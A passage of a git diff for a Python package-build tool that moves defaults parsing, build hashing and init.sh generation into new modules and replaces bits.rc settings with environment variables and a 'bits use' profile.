``package_family`` key in a defaults recipe is a mapping of the form:: + + package_family: + default: cms # fallback when no pattern matches + lcg: + - ROOT + - SCRAMV1 + cms: + - data-* + - coral + + Pattern matching uses :func:`fnmatch.fnmatch` (case-sensitive, ``*`` and + ``?`` wildcards supported). Families are tried in definition order; the + first match wins. If no pattern matches, the ``default`` family is + returned. If ``package_family`` is absent entirely, an empty string is + returned so that the install path collapses to the legacy layout + ``//-``. + + **Defaults packages** (``defaults-*``) are always excluded from family + assignment regardless of the ``package_family`` configuration, including the + ``default:`` fallback. These pseudo-packages carry configuration rather than + installed software; assigning them to a family would corrupt their install + path and break the ``init.sh`` sourcing chain for every downstream package. + """ + # Defaults packages are special pseudo-packages and must never receive a + # family. The default: fallback in package_family would otherwise silently + # pull them in, causing their SPECS/ and install paths to include a family + # directory that nothing expects. + if package_name.startswith("defaults-"): + return "" + family_cfg = defaults_meta.get("package_family") + if not family_cfg or not isinstance(family_cfg, dict): + return "" + default_family = family_cfg.get("default", "") + for family, patterns in family_cfg.items(): + if family == "default": + continue + if not isinstance(patterns, list): + continue + for pat in patterns: + if fnmatch.fnmatch(package_name, str(pat)): + return family + return default_family + + +def readDefaults(configDir, defaults, error, architecture): + defaultsMeta = {} + defaultsBody = "" + append_arch_qualifiers = [] # per-default append_arch values, in chain order + valid_defaults_exempt = [] # structural/overlay defaults, in chain order + + for xdefaults in defaults: + xDefaults = resolveDefaultsFilename(xdefaults, configDir, failOnError=False) + xMeta = {} + if xDefaults is not None and exists(xDefaults): + err, xMeta, xBody = parseRecipe(getRecipeReader(xDefaults)) + if xBody.strip() != "": + defaultsBody += "\n" + xBody.strip() + if err: + error(err) + sys.exit(1) + # Collect append_arch value before merging (merge_dicts would flatten it + # into a single scalar and we need the ordered per-default list). + if "append_arch" in xMeta: + append_arch_qualifiers.append(xMeta["append_arch"]) + # A structural/overlay default (e.g. the 'alidist' variant) is not a + # build flavor: packages must not gate their valid_defaults on it. Read + # and strip the marker before the merge so it does not leak into the + # merged metadata (see incompatibleFlavorDefaults). + if xMeta.pop("valid_defaults_exempt", False): + valid_defaults_exempt.append(xdefaults) + # Normalise this profile's overrides to dict-form *before* the chain merge + # so that defaults chained as a::b::c deep-merge: the union of all entries, + # last profile wins on a per-package key. Without this, merge_dicts sees a + # list-form block ("- pkg = ver") and a dict-form block ("pkg:\n ...") as + # incompatible types and the later one REPLACES the earlier wholesale, + # silently dropping the other profile's pins. asDict turns both shapes into + # an OrderedDict, which merge_dicts then merges recursively (key-by-key, + # last wins). + if "overrides" in xMeta: + xMeta["overrides"] = asDict(xMeta["overrides"]) + defaultsMeta = merge_dicts(defaultsMeta, xMeta) + + # Store the collected per-default qualifiers so compute_combined_arch can + # use them instead of appending every default name to the architecture. + if append_arch_qualifiers: + defaultsMeta["_append_arch_qualifiers"] = append_arch_qualifiers + + # The 'release' base is auto-injected into every chain and is never a build + # flavor, so it is always structural (exempt from the valid_defaults gate). + if "release" in defaults and "release" not in valid_defaults_exempt: + valid_defaults_exempt.append("release") + defaultsMeta["_valid_defaults_exempt"] = valid_defaults_exempt + + debug("Merged Defaults: %s ",json.dumps(defaultsMeta,indent = 4)) + + return (defaultsMeta, defaultsBody) + + + +def asDict(overrides_array): + """ + Collapse an array of override dictionaries into a single OrderedDict. + + Args: + overrides_array: A list containing dictionaries and/or lists of dictionaries + to be merged, with later elements taking precedence. + Returns: + OrderedDict: A single merged OrderedDict + """ + debug("asDict: %s ",json.dumps(overrides_array,indent = 4)) + + if not overrides_array: + return OrderedDict() + + if isinstance(overrides_array, OrderedDict): + return overrides_array + + # Start with an empty OrderedDict + result = OrderedDict() + + def _string_override(s): + """Support the "name = value" version-pin shorthand in overrides:, the + same syntax used for requires: pins. Returns {name: {version, tag}} so + that tarball URLs (%(version)s) and git checkouts (tag) both use the + pinned value, or None when the string is not a "name = value" pin.""" + name, sep, value = s.partition("=") + name, value = name.strip(), value.strip() + if not (sep and name and value): + return None + return OrderedDict([(name, OrderedDict([("version", value), ("tag", value)]))]) + + for item in overrides_array: + if isinstance(item, str): + # e.g. "acts = 44.4.0" — previously silently ignored, which made a + # list-of-strings overrides: block a no-op. + d = _string_override(item) + if d is not None: + result = merge_dicts(result, d) + elif isinstance(item, list): + # Handle nested lists - recursively process each element + for subitem in item: + if isinstance(subitem, dict): + result = merge_dicts(result, subitem) + elif isinstance(subitem, str): + d = _string_override(subitem) + if d is not None: + result = merge_dicts(result, d) + elif isinstance(item, dict): + result = merge_dicts(result, item) + + debug("asDict (result): %s ",json.dumps(result)) + return result + +# (Almost pure part of the defaults parsing) +# Override defaultsGetter for unit tests. +def parseDefaults(disable, defaultsGetter, log, architecture=None, configDir=None): + defaultsMeta, defaultsBody = defaultsGetter() + if architecture and configDir: + archDefaults = resolveDefaultsFilename(architecture, configDir, failOnError=False) + if archDefaults is not None and os.path.exists(archDefaults): + defaultsArchMeta = {} + err, defaultsArchMeta, archBody = parseRecipe(getRecipeReader(archDefaults, configDir)) + if err: + dieOnError(err, err) # was dieOnError(err, None, None): 3 args + a None message + banner("Using defaults-%s file found in %s", architecture, configDir) + debug("Architecture-specific defaults mentioned in: %s ", archDefaults) + defaultsMeta = merge_dicts(defaultsMeta, defaultsArchMeta, skip_keys={"package"}) + + # Defaults are actually special packages. They can override metadata + # of any other package and they can disable other packages. For + # example they could decide to switch from ROOT 5 to ROOT 6 and they + # could disable alien for O2. For this reason we need to parse their + # metadata early and extract the override and disable data. + + defaultsDisable = asList(defaultsMeta.get("disable", [])) + + for x in defaultsDisable: + log("Package %s has been disabled by current default.", x) + disable.extend(defaultsDisable) + + defaultsMeta["overrides"] = asDict(defaultsMeta.get("overrides", OrderedDict())) + + if type(defaultsMeta.get("overrides", OrderedDict())) != OrderedDict: + return ("overrides should be a dictionary", None, None, {}) + + overrides, taps = OrderedDict(), {} + commonEnv = {"env": defaultsMeta["env"]} if "env" in defaultsMeta else {} + overrides["defaults-release"] = commonEnv + for k, v in defaultsMeta.get("overrides", {}).items(): + f = k.split("@", 1)[0].lower() + if "@" in k: + taps[f] = "dist:"+k + overrides[f] = dict(**(v or {})) + return (None, overrides, taps, defaultsMeta) diff --git a/bits_helpers/deps.py b/bits_helpers/deps.py index 3bd34434..8e4baff7 100644 --- a/bits_helpers/deps.py +++ b/bits_helpers/deps.py @@ -12,7 +12,9 @@ from bits_helpers.log import debug, dieOnError, error, info from bits_helpers.repo_provider import ( fetch_repo_providers_iteratively, load_always_on_providers) -from bits_helpers.utilities import getPackageList, parseDefaults, readDefaults, validateDefaults, resolve_variables, incompatibleFlavorDefaults +from bits_helpers.defaults import parseDefaults, readDefaults, validateDefaults, incompatibleFlavorDefaults +from bits_helpers.packages import getPackageList +from bits_helpers.matchers import resolve_variables def doDeps(args, parser): diff --git a/bits_helpers/doctor.py b/bits_helpers/doctor.py index 40da3bfe..c1221f5c 100644 --- a/bits_helpers/doctor.py +++ b/bits_helpers/doctor.py @@ -45,10 +45,11 @@ from bits_helpers.cmd import DockerRunner, getstatusoutput from bits_helpers.log import banner, debug, error, info, logger, success, warning -from bits_helpers.utilities import ( - getPackageList, parseDefaults, readDefaults, validateDefaults, - incompatibleFlavorDefaults, effective_arch, ver_rev, -) +from bits_helpers.utilities import ver_rev +from bits_helpers.defaults import (parseDefaults, readDefaults, validateDefaults, + incompatibleFlavorDefaults) +from bits_helpers.packages import getPackageList +from bits_helpers.arch import effective_arch # ── Status constants ─────────────────────────────────────────────────────────── PASS = "PASS" @@ -73,17 +74,6 @@ def _colour(status: str, text: str) -> str: return _COLOUR.get(status, "") + text + _RESET -# ── bits.rc helper ───────────────────────────────────────────────────────────── - -def _bits_rc_value(key: str) -> str: - """Return *key* from the first bits.rc / .bitsrc / ~/.bitsrc found, or ''.""" - import configparser - cfg = configparser.ConfigParser() - for path in ["bits.rc", ".bitsrc", expanduser("~/.bitsrc")]: - if exists(path): - cfg.read(path) - break - return cfg.get("bits", key, fallback="").strip() # ── Existing helpers (unchanged) ─────────────────────────────────────────────── @@ -471,7 +461,7 @@ def _run_check_store_checks(args, specs: dict, own: set, Returns ``[(name, status, detail), ...]``. """ # Lazy import — bits_helpers.build is heavy (jinja2, analytics, slow init). - from bits_helpers.build import storeHashes as _storeHashes + from bits_helpers.hashing import storeHashes as _storeHashes store_url = (getattr(args, "remoteStore", "") or "").rstrip("/") arch = getattr(args, "architecture", "") @@ -655,8 +645,8 @@ def _run_runner_checks(args) -> List[CheckResult]: # ── CVMFS repos ────────────────────────────────────────────────────────── cvmfs_repos = list(getattr(args, "cvmfsRepos", None) or []) if not cvmfs_repos: - # Fall back to bits.rc cvmfs_repos (comma-separated paths) - rc_repos = _bits_rc_value("cvmfs_repos") + # Fall back to $BITS_CVMFS_REPOS (comma-separated paths). + rc_repos = os.environ.get("BITS_CVMFS_REPOS", "") if rc_repos: cvmfs_repos = [r.strip() for r in rc_repos.split(",") if r.strip()] for repo_path in cvmfs_repos: @@ -758,8 +748,8 @@ def doDoctor(args, parser): "environment in hidden ways.\nPlease review it and make sure " "you are not force-loading any library.") - # ── Prerequisite URL: read from bits.rc so each community can customise ── - _prereq_url = _bits_rc_value("prerequisites_url") or \ + # ── Prerequisite URL: a community can customise it via $BITS_PREREQUISITES_URL. + _prereq_url = os.environ.get("BITS_PREREQUISITES_URL") or \ "https://alice-doc.github.io/alice-analysis-tutorial/building/" _prereq_hint = "Please consult the prerequisites guide:\n %s" % _prereq_url diff --git a/bits_helpers/forge.py b/bits_helpers/forge.py index 0bede233..cfac6f42 100644 --- a/bits_helpers/forge.py +++ b/bits_helpers/forge.py @@ -14,43 +14,10 @@ """ import os -import re from bits_helpers.log import warning -def load_admins(source) -> set: - """Parse group-admin usernames from a file path or text. - - One username per line; ``#`` comments and blank lines ignored; a leading - ``@`` and surrounding whitespace are stripped. Case is normalised to lower. - Also tolerates CODEOWNERS-style lines (``/path @a @b``) by taking every - ``@handle`` on the line. - """ - if isinstance(source, str) and os.path.isfile(source): - with open(source) as fh: - text = fh.read() - else: - text = source or "" - admins = set() - for line in text.splitlines(): - line = line.split("#", 1)[0].strip() - if not line: - continue - handles = re.findall(r"@([A-Za-z0-9._-]+)", line) - if handles: - admins.update(h.lower() for h in handles) - else: - admins.add(line.lower()) - return admins - - -def approved_by(approvers, admins) -> bool: - """True if at least one approver is a listed group admin (case-insensitive).""" - a = {str(x).lower() for x in (approvers or [])} - return bool(a & {str(x).lower() for x in (admins or [])}) - - def load_admin_policy(source) -> dict: """Parse an overall/per-group admin policy from a file path or text. @@ -487,7 +454,3 @@ def forge_from_env(env=None): return GitLabForge.from_env(env) -def verify_approval(forge, admins): - """Return ``(ok, approvers)`` — ok iff a listed admin approved via *forge*.""" - approvers = forge.list_approvers() - return approved_by(approvers, admins), approvers diff --git a/bits_helpers/gc.py b/bits_helpers/gc.py index 516e75b8..2d4b519f 100644 --- a/bits_helpers/gc.py +++ b/bits_helpers/gc.py @@ -80,16 +80,6 @@ def hash_from_store_key(key: str): return None -def reachable_hashes(common_manifest) -> set: - """The root hash set: every ``hash`` in the common manifest's packages.""" - roots = set() - for e in (common_manifest.get("packages") or []) if isinstance(common_manifest, dict) else []: - h = e.get("hash") if isinstance(e, dict) else None - if h: - roots.add(h) - return roots - - def plan_sweep(objects, roots, now=None, grace_seconds=0, architecture=None) -> dict: """Decide which store objects to sweep. diff --git a/bits_helpers/hashing.py b/bits_helpers/hashing.py new file mode 100644 index 00000000..23958ed8 --- /dev/null +++ b/bits_helpers/hashing.py @@ -0,0 +1,305 @@ +# SPDX-FileCopyrightText: 2015-2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later + +"""Content-addressable build hashing: turn a resolved spec (recipe body, deps, +defaults, provider hashes) into the hash(es) that name its tarball and install +dir. Split out of build.py; the alidist hash path is covered by the Phase 0 +regression harness.""" + +import os +import re +import time +from collections import OrderedDict + +from bits_helpers.log import debug +from bits_helpers.utilities import Hasher + + +_HEREDOC_START = re.compile(r"<<-?\s*([\"']?)([A-Za-z_][A-Za-z0-9_]*)\1") + + +# Front-matter keys that are metadata / publish-policy ONLY: they never affect +# what is built, so they are dropped from the HASH input (exactly like comments). +# Editing a license, description, project URL, attribution, source link, or the +# redistributable flag therefore does NOT change a package's hash — no rebuild and +# no re-publish. The executed recipe keeps every field; only hashing ignores these. +_HASH_EXCLUDED_META_KEYS = frozenset({ + "license", "description", "url", "homepage", + "acknowledgment", "acknowledgement", "source_url", "redistributable", + # preload: CVMFS filebundle test list, consumed post-publish by `bits preload`; + # it never affects the build, so editing it must not force a rebuild. + "preload", +}) + +# Source-selection keys are ALSO dropped from the recipe TEXT hash — not because +# they are cosmetic, but because storeHashes already folds the RESOLVED source +# identity into the hash from the spec (every sources: URL, the git source + tag, +# and commit_hash), AFTER _apply_source_mode has pruned to the selected form. +# Hashing the raw text on top would double-count AND make merely DECLARING a git +# alternative on a tarball recipe rebuild it, even though the default (tar) build +# is byte-identical. Excluding them keeps dual-source declarations hash-neutral +# while the spec-field hashing still makes every distinct source a distinct build. +_HASH_REDUNDANT_SOURCE_KEYS = frozenset({"source", "sources", "tag"}) + + +def normalize_recipe_for_hash(recipe): + """Return a copy of a recipe for HASHING ONLY, with elements that do not affect + the build removed so that editing them does not change the build hash (and thus + does not force a rebuild / re-publish). The executed recipe is untouched. + + Two classes are dropped: + * full-line comments and blank lines, everywhere except inside a here-doc + (where a leading '#' is data). The here-doc scan is conservative: it only + ever protects MORE text, never merges two distinct recipes. + * metadata / publish-policy keys (``_HASH_EXCLUDED_META_KEYS``) in the YAML + front-matter — the key line and any indented block value beneath it — so + license/description/url/acknowledgment/source_url/redistributable are free + to edit. These are stripped ONLY in the header (before the first column-0 + ``---`` separator); the shell body is never scanned for them. + """ + if not isinstance(recipe, str): + return recipe + lines = recipe.split("\n") + # Header ends at the first column-0 "---" (an indented "---" is block-scalar + # data, not the separator). With NO separator the string has no front-matter + # (it is a bare shell body, as some callers/tests pass), so treat it all as body + # -- never as header -- to preserve here-doc/comment handling. + boundary = next((i for i, ln in enumerate(lines) if ln.rstrip() == "---"), None) + header = lines[:boundary] if boundary is not None else [] + body = lines[boundary:] if boundary is not None else lines + + out = [] + # --- YAML front-matter: drop comments/blanks + metadata-only keys and their + # indented continuation lines. + skipping_meta_block = False + for line in header: + stripped = line.strip() + if not stripped or stripped.startswith("#"): # comment / blank: never hashed + continue + if line[:1].isspace(): # indented continuation line + if skipping_meta_block: + continue # part of a dropped key's value + out.append(line) + continue + key = stripped.split(":", 1)[0].strip() # a top-level key + if key in _HASH_EXCLUDED_META_KEYS or key in _HASH_REDUNDANT_SOURCE_KEYS: + skipping_meta_block = True + continue + skipping_meta_block = False + out.append(line) + + # --- shell body (from the "---" separator onward): unchanged behaviour, with + # here-doc protection. + pending, active = [], None + for line in body: + if active is not None: # inside a here-doc body: keep verbatim + out.append(line) + if line.strip() == active: # terminator (tabs allowed for <<-) + active = pending.pop(0) if pending else None + continue + delims = [m.group(2) for m in _HEREDOC_START.finditer(line)] + if delims: # this line opens one or more here-docs + out.append(line) + active, pending = delims[0], delims[1:] + continue + stripped = line.strip() + if not stripped or stripped.startswith("#"): # blank or whole-line comment + continue + out.append(line) + return "\n".join(out) + + +def storeHashes(package, specs, considerRelocation): + """Calculate various hashes for package, and store them in specs[package]. + + Assumes that all dependencies of the package already have a definitive hash. + """ + spec = specs[package] + "If hooks are used, store them as part of package spec so we can include them in the hash." + + if "remote_revision_hash" in spec and "local_revision_hash" in spec: + # We've already calculated these hashes before, so no need to do it again. + # This also works around a bug, where after the first hash calculation, + # some attributes of spec are changed (e.g. append_path and prepend_path + # entries are turned from strings into lists), which changes the hash on + # subsequent calculations. + return + + # For now, all the hashers share data -- they'll be split below. + h_all = Hasher() + + if spec.get("force_rebuild", False): + h_all(str(time.time())) + + for key in ("recipe", "version", "package"): + val = spec.get(key, "none") + # Hash the recipe with full-line comments / blank lines removed so that + # documentation-only edits do not change the hash and force a rebuild. + if key == "recipe": + val = normalize_recipe_for_hash(val) + h_all(val) + + # pkg_family changes the installation path (ARCH/FAMILY/PKG/VER vs + # ARCH/PKG/VER), so tarballs built with different family settings are + # not interchangeable. Include it in the hash so they get distinct + # identities and a family-tagged build never silently reuses a tarball + # that was uploaded without a family (which would break relocation). + # Empty string is used when no family is set, preserving backward + # compatibility with existing tarballs. + h_all(spec.get("pkg_family", "")) + + # commit_hash could be a commit hash (if we're not building a tag, but + # instead e.g. a branch or particular commit specified by its hash), or it + # could be a tag name (if we're building a tag). We want to calculate the + # hash for both cases, so that if we build some commit, we want to be able to + # reuse tarballs from other builds of the same commit, even if it was + # referred to differently in the other build. + debug("Base git ref is %s", spec["commit_hash"]) + h_default = h_all.copy() + h_default(spec["commit_hash"]) + try: + # If spec["commit_hash"] is a tag, get the actual git commit hash. + real_commit_hash = spec["scm_refs"]["refs/tags/" + spec["commit_hash"]] + except KeyError: + # If it's not a tag, assume it's an actual commit hash. + real_commit_hash = spec["commit_hash"] + # Get any other git tags that refer to the same commit. We do not consider + # branches, as their heads move, and that will cause problems. + debug("Real commit hash is %s, storing alternative", real_commit_hash) + h_real_commit = h_all.copy() + h_real_commit(real_commit_hash) + h_alternatives = [(spec.get("tag", "0"), spec["commit_hash"], h_default), + (spec.get("tag", "0"), real_commit_hash, h_real_commit)] + for ref, git_hash in spec.get("scm_refs", {}).items(): + if ref.startswith("refs/tags/") and git_hash == real_commit_hash: + tag_name = ref[len("refs/tags/"):] + debug("Tag %s also points to %s, storing alternative", + tag_name, real_commit_hash) + hasher = h_all.copy() + hasher(tag_name) + h_alternatives.append((tag_name, git_hash, hasher)) + + # Now that we've split the hasher with the real commit hash off from the ones + # with a tag name, h_all has to add the data to all of them separately. + def h_all(data): # pylint: disable=function-redefined + for _, _, hasher in h_alternatives: + hasher(data) + + modifies_full_hash_dicts = ["env", "append_path", "prepend_path"] + if not spec["is_devel_pkg"] and "track_env" in spec: + modifies_full_hash_dicts.append("track_env") + + # A package's build hash is defined by its OWN inputs only — recipe text + # (comment-stripped), sources, patches, and the hashes of its declared + # dependencies — never the commit hash of the repository provider the recipe + # came from. By convention recipes are self-contained; anything they need from + # elsewhere is pulled in as an explicit package dependency (requires/ + # build_requires) or via bits-include, both of which resolve to separately and + # granularly hashed packages — so cross-recipe coupling is already captured. + # Folding the provider's whole-repo commit hash here instead rebuilt EVERY + # package from that provider on ANY commit to it (even a docs/comment change); + # invalidation must be driven by the individual packages, not the repository. + # recipe_provider_hash is still set on the spec and recorded in the manifest + # (manifest.add_providers) for provenance — it just no longer enters the hash. + + for key in modifies_full_hash_dicts: + if key not in spec: + h_all("none") + else: + # spec["env"] is of type OrderedDict[str, str]. + # spec["*_path"] are of type OrderedDict[str, list[str]]. + assert isinstance(spec[key], OrderedDict), \ + "spec[{!r}] was of type {!r}".format(key, type(spec[key])) + + # Python 3.12 changed the string representation of OrderedDicts from + # OrderedDict([(key, value)]) to OrderedDict({key: value}), so to remain + # compatible, we need to emulate the previous string representation. + h_all("OrderedDict([") + h_all(", ".join( + # XXX: We still rely on repr("str") being "'str'", + # and on repr(["a", "b"]) being "['a', 'b']". + "({!r}, {!r})".format(key, value) + for key, value in spec[key].items() + )) + h_all("])") + + for tag, commit_hash, hasher in h_alternatives: + # If the commit hash is a real hash, and not a tag, we can safely assume + # that's unique, and therefore we can avoid putting the repository or the + # name of the branch in the hash. + if commit_hash == tag: + hasher(spec.get("source", "none")) + if "source" in spec: + hasher(tag) + if "sources" in spec: + for src in spec["sources"]: + if src.startswith("file://"): + with open(src.removeprefix("file:/")) as ref: + file_content = "".join(ref.readlines()) + h_all(file_content) + else: + h_all(src) + if "patches" in spec: + for patch in spec["patches"]: + h_all(patch) + with open(os.path.join(spec["pkgdir"], "patches", patch)) as ref: + patch_content = "".join(ref.readlines()) + h_all(patch_content) + + if not package.startswith("defaults-"): + for hook_name in sorted(spec.get("hook", {})): + h_all("hook:" + hook_name + "=" + str(spec["hook"][hook_name])) + for hook_name in sorted(spec.get("hook_params", {})): + h_all("hook_params:" + hook_name + "=" + str(spec["hook_params"][hook_name])) + + # untracked_requires: dependencies the user controls and links at runtime but + # has chosen NOT to fold into this package's identity hash, so that editing one + # does not invalidate (rebuild) this package or anything above it. (Empty for + # ordinary recipes, so their hashes are byte-identical to before.) + untracked = set(spec.get("untracked_requires", ())) + dh = Hasher() + for dep in spec.get("requires", []): + # At this point, our dependencies have a single hash, local or remote, in + # specs[dep]["hash"]. + hash_and_devel_hash = specs[dep]["hash"] + specs[dep].get("devel_hash", "") + if dep in untracked: + # Excluded from the identity hash entirely (not even the base hash), so a + # change to this dependency leaves the consumer's hash — and therefore the + # hashes of everything above it — unchanged. It is still fed into deps_hash + # below, so a *development* build of this package picks the new dependency + # up via an incremental rebuild. + dh(hash_and_devel_hash) + continue + # If this package is a dev package, and it depends on another dev pkg, then + # this package's hash shouldn't change if the other dev package was + # changed, so that we can just rebuild this one incrementally. + h_all(specs[dep]["hash"] if spec["is_devel_pkg"] else hash_and_devel_hash) + # The deps_hash should always change, however, so we actually rebuild the + # dependent package (even if incrementally). + dh(hash_and_devel_hash) + + if spec["is_devel_pkg"] and "incremental_recipe" in spec: + h_all(spec["incremental_recipe"]) + ih = Hasher() + ih(spec["incremental_recipe"]) + spec["incremental_hash"] = ih.hexdigest() + elif spec["is_devel_pkg"]: + h_all(spec["devel_hash"]) + + if considerRelocation and "relocate_paths" in spec: + h_all("relocate:"+" ".join(sorted(spec["relocate_paths"]))) + + spec["deps_hash"] = dh.hexdigest() + spec["remote_revision_hash"] = h_default.hexdigest() + # Store hypothetical hashes of this spec if we were building it using other + # tags that refer to the same commit that we're actually building. These are + # later used when fetching from the remote store. The "primary" hash should + # be the first in the list, so it's checked first by the remote stores. + spec["remote_hashes"] = [spec["remote_revision_hash"]] + \ + list({h.hexdigest() for _, _, h in h_alternatives} - {spec["remote_revision_hash"]}) + # The local hash must differ from the remote hash to avoid conflicts where + # the remote has a package with the same hash as an existing local revision. + h_all("local") + spec["local_revision_hash"] = h_default.hexdigest() + spec["local_hashes"] = [spec["local_revision_hash"]] + \ + list({h.hexdigest() for _, _, h, in h_alternatives} - {spec["local_revision_hash"]}) diff --git a/bits_helpers/httpsig.py b/bits_helpers/httpsig.py index ef713c38..ac592fe4 100644 --- a/bits_helpers/httpsig.py +++ b/bits_helpers/httpsig.py @@ -38,7 +38,7 @@ import hmac import secrets import time -from typing import Dict, Mapping, Optional +from typing import Mapping, Optional HEADER_NAME = "X-Bits-Auth" SCHEME = "v1" @@ -48,10 +48,6 @@ #: Placeholder for ``bh`` when a request carries no payload. NO_BODY = "-" -#: Digest of an empty field set (SHA-256 of the empty string). Requests that -#: are not multipart bind their whole body instead, so their ``fd`` is this. -NO_FIELDS = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" - def fields_digest(fields: Mapping[str, str]) -> str: """Digest of the non-payload form fields. @@ -78,11 +74,6 @@ def fields_digest(fields: Mapping[str, str]) -> str: return h.hexdigest() -def body_digest(raw: bytes) -> str: - """Hex SHA-256 of a request body, for the non-multipart endpoints.""" - return hashlib.sha256(raw).hexdigest() - - def canonical(method: str, uri: str, fd: str, bh: str, ts: int, nonce: str) -> str: """Build the string that is MAC'd. @@ -122,25 +113,3 @@ def sign( f"fd={fd} bh={body_hash or NO_BODY} mac={mac}") -def auth_header( - secret: str, - method: str, - uri: str, - fields: Optional[Mapping[str, str]] = None, - body_hash: str = NO_BODY, - sign_requests: bool = True, -) -> Dict[str, str]: - """Return the auth header dict for one request: signed OR bearer. - - Never both. Sending the token alongside a signature hands an observer the - very credential the signature exists to keep off the wire, which would - make the whole exercise decorative. - - ``sign_requests=False`` selects the legacy bearer, for talking to a - deployment running ``auth_mode: bearer``. - """ - if not secret: - return {} - if not sign_requests: - return {"Authorization": f"Bearer {secret}"} - return {HEADER_NAME: sign(secret, method, uri, fields, body_hash)} diff --git a/bits_helpers/init.py b/bits_helpers/init.py index 40955d60..d35cc5cb 100644 --- a/bits_helpers/init.py +++ b/bits_helpers/init.py @@ -2,10 +2,8 @@ # SPDX-License-Identifier: GPL-3.0-or-later # Standard library -import configparser import os import sys -from io import StringIO from os.path import join import os.path as path @@ -13,7 +11,8 @@ from bits_helpers.cmd import getstatusoutput from bits_helpers.git import git, Git from bits_helpers.log import banner, debug, dieOnError, error, info, warning -from bits_helpers.utilities import getPackageList, parseDefaults, readDefaults, validateDefaults, incompatibleFlavorDefaults +from bits_helpers.defaults import parseDefaults, readDefaults, validateDefaults, incompatibleFlavorDefaults +from bits_helpers.packages import getPackageList from bits_helpers.workarea import updateReferenceRepoSpec @@ -64,60 +63,76 @@ def _explicit_rc_keys(explicit_flags): return keys -def doInitConfig(args): - """Write (or update) a bits.rc from the options supplied on the CLI. +# Where each persistable setting is recorded in the bits use profile. +# (section, canonical flag, args attribute). --architecture is broadly accepted +# so it goes to [common]; the rest to [build] (kept out of [common] so the module +# commands q/enter are unaffected). organisation/providers have no build-time +# flag and are handled via the environment (see _INIT_ENV_ONLY). +_INIT_PROFILE_MAP = { + "architecture": ("common", "--architecture", "architecture"), + "work_dir": ("build", "--work-dir", "workDir"), + "config_dir": ("build", "--config-dir", "configDir"), + "defaults": ("build", "--defaults", "defaults"), + "reference_sources": ("build", "--reference-sources", "referenceSources"), + "remote_store": ("build", "--remote-store", "initRemoteStore"), + "write_store": ("build", "--write-store", "initWriteStore"), +} +_INIT_ENV_ONLY = {"organisation": ("BITS_ORGANISATION", "organisation"), + "providers": ("BITS_PROVIDERS", "providers")} - Only settings that the user explicitly named on the command line are - written; default values for options the user did not mention are skipped - so that bits.rc stays minimal and authoritative. - With --dry-run the resulting INI content is printed without touching the - file system. +def doInitConfig(args): + """Record the options supplied on the CLI as a reusable ``bits use`` profile + (``./.bitsuse`` or a ~/.bits/use record), so they need not be repeated on + every build. Only settings the user explicitly named are saved: + ``--architecture`` goes to the ``[common]`` section, the rest to ``[build]``. + + ``organisation``/``providers`` have no build-time flag; for those the user is + pointed at ``$BITS_ORGANISATION`` / ``$BITS_PROVIDERS``. With --dry-run the + resulting profile is printed without writing. """ - rc_file = getattr(args, "rcFile", "bits.rc") - append = getattr(args, "appendRc", False) - explicit = getattr(args, "_init_explicit", set()) + from bits_helpers import bits_use - # Which bits.rc keys did the user explicitly request? - rc_keys_to_write = _explicit_rc_keys(explicit) + explicit = getattr(args, "_init_explicit", set()) + rc_keys = _explicit_rc_keys(explicit) - if not rc_keys_to_write: - info("No configuration options specified — nothing to write.\n" - "Run 'bits init --help' to see available persistent settings.\n" + if not rc_keys: + info("No configuration options specified — nothing to save.\n" + "Run 'bits init --help' to see the settings you can persist.\n" "To clone package sources for development, supply a PACKAGE name:\n" " bits init [--dist USER/REPO@BRANCH] PACKAGE") return - cfg = configparser.ConfigParser() - if append and path.exists(rc_file): - cfg.read(rc_file) - debug("Merging into existing %s", rc_file) - if not cfg.has_section("bits"): - cfg.add_section("bits") - - for attr, rc_key, _short in _INIT_RC_MAP: - if rc_key not in rc_keys_to_write: + tokens = {"common": [], "build": []} + for key in rc_keys: + if key in _INIT_ENV_ONLY: + env, attr = _INIT_ENV_ONLY[key] + val = getattr(args, attr, None) + warning("'%s' has no build-time flag and is not saved to the profile; " + "set it globally with %s=%s", key, env, + val if val is not None else "…") continue + section, flag, attr = _INIT_PROFILE_MAP[key] val = getattr(args, attr, None) if val is None: continue - # args.defaults is already split into a list by finaliseArgs - if isinstance(val, list): + if isinstance(val, list): # defaults is a list after finaliseArgs val = "::".join(val) - cfg.set("bits", rc_key, str(val)) - debug("bits.rc: %s = %s", rc_key, val) - - buf = StringIO() - cfg.write(buf) - ini_text = buf.getvalue() + tokens[section] += [flag, str(val)] if args.dryRun: - info("Would write to %s:\n\n%s", rc_file, ini_text) + preview = "\n".join("[%s] %s" % (s, " ".join(t)) for s, t in tokens.items() if t) + info("Would save to the bits use profile:\n%s", preview or "(nothing)") return - with open(rc_file, "w") as fh: - fh.write(ini_text) - banner("Configuration written to %s", rc_file) + saved_to = None + for section in ("common", "build"): + if tokens[section]: + saved_to = bits_use.write_section(section, tokens[section]) + if saved_to: + banner("Saved to the bits use profile (%s).", bits_use._src_label(saved_to)) + else: + info("Nothing saved (organisation/providers use environment variables).") def _checkout_recipes_only(args): @@ -199,8 +214,8 @@ def doInit(args): if not pkgs: # aliBuild compatibility: `aliBuild init` with no PACKAGE checks out the # recipe (alidist) repository for development and exits, like classic - # aliBuild. Plain `bits init` instead writes (or updates) bits.rc from the - # supplied options — backward-compatible: callers that supply a PACKAGE are + # aliBuild. Plain `bits init` instead records the supplied options as a + # `bits use` profile — backward-compatible: callers that supply a PACKAGE are # unaffected either way. if os.environ.get("BITS_BRANDING", "").strip().lower() == "alibuild": return _checkout_recipes_only(args) diff --git a/bits_helpers/initdotsh.py b/bits_helpers/initdotsh.py new file mode 100644 index 00000000..e05f1d7e --- /dev/null +++ b/bits_helpers/initdotsh.py @@ -0,0 +1,292 @@ +# SPDX-FileCopyrightText: 2015-2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later + +"""Generate a package's ``etc/profile.d/init.sh`` — the shell fragment sourced to +put the package and its dependency closure on PATH/LD_LIBRARY_PATH etc. Split out +of build.py; pure string generation from resolved specs, no build side effects.""" + +from os.path import abspath +from shlex import quote + +from bits_helpers.arch import SHARED_ARCH +from bits_helpers.log import dieOnError +from bits_helpers.utilities import (asList, pkg_to_shell_id, resolve_spec_data, + topological_sort, ver_rev) + +def generate_initdotsh(package, specs, architecture, workDir="sw", post_build=False, + from_modules=False, cmake_prefix_env=False, + reuse_cvmfs_base=None): + """Return the contents of the given package's etc/profile/init.sh as a string. + + If post_build is true, also generate variables pointing to 